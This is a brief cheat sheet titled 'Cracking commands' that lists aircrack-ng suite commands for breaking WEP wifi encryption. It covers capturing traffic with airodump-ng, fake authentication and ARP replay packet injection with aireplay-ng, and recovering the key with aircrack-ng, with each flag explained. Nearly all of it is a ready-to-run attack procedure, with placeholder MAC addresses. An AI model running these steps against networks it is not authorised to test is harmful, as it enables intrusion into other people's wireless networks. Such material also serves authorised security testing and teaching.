**Cracking commands**

**airodump-ng:**

“airodump-ng --bssid 00:00:00:00:00:00 --channel 1 --write test wlan0” - monitor wifi network

--bssid - mac address of a router

--channel - working channel of a router

--write - name of a log file

wlan0 - wifi adapter in monitor mode id

**aireplay-ng:**

“aireplay-ng --fakeauth 0 -a 00:00:00:00:00:00 -h 00:00:00:00:00:00 wlan0” - associates adapter with wifi network

“aireplay-ng --arpreplay -b 00:00:00:00:00:00 -h 00:00:00:00:00:00 wlan0” - catches an ARP file and continuously sends it to the target network (generates packets with new IVs)

--fakeauth - type of an attack (fake authentication, number specifies number of tries)

--arpreplay - type of an attack (arp resend)

-a - access point mac address

-b - target network mac address

-h - wifi adapter mac address

wlan0 - wifi adapter in monitor mode id

Notice:

1. You can get a wifi adapter mac address using iwconfig (first 6 parts of unspec).

**aircrack-ng:**

“aircrack-ng test.cap” - investigates .cap file for WEP key

test.cap - file produced by airodump while monitoring wifi network

Notice:

1. It's better to use the numeric value of a key without ‘:’ (11:22:33:44:55 -> 1122334455).